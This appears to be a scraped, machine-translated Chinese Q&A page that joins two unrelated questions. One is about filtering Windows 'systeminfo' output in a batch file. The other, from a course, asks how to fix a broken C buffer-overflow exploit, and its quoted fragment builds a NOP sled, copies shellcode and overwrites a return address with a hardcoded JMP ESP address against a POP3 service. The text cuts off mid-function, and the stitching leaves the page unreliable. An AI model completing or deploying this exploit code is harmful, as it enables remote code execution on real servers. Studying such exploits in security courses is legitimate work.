我正在尝试制作批处理文件以systeminfo在Windows 7中运行该命令,并缩小结果范围以不显示热修复信息 - 或仅显示某些特定行.
有没有办法在不多次写出命令的情况下执行此操作?即,现在,我有以下内容:
systeminfo|find "System Boot Time"
systeminfo|find "Host Name"
systeminfo|find "OS Name"
Run Code Online (Sandbox Code Playgroud)
等等
这样做的问题是它必须为每个新行重新加载systeminfo cmd中的所有信息,这需要相当长的时间.是否可以只运行一次命令并找到拉多行?
如果没有,是否可以使用其他命令删除信息?(我没有听说过这样的但不确定它不存在)
在我上的一门课程中,给了我一个用C编写的损坏的缓冲区溢出脚本,并且必须修复损坏的代码。到目前为止,我已经修补了一些东西,但是在尝试编译它时会收到此错误消息(错误是从初始代码中显示出来的,而不是我编辑过的任何内容):
646-fixed.c:在功能'exploit'中:
646-fixed.c:48:警告:来自不兼容指针类型的赋值
以下是发生错误的功能。我对C不太熟悉-但是从昨天收到的答复中,我了解到发生这种情况是由于ptr的类型为int,而邪恶的类型为char。我不知道该怎么做才能解决此问题-有人可以帮忙吗?您也可以在此处查看完整脚本
void exploit(int sock) {
FILE *test;
int *ptr;
char userbuf[] = "USER madivan\r\n";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
48 ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive); …Run Code Online (Sandbox Code Playgroud)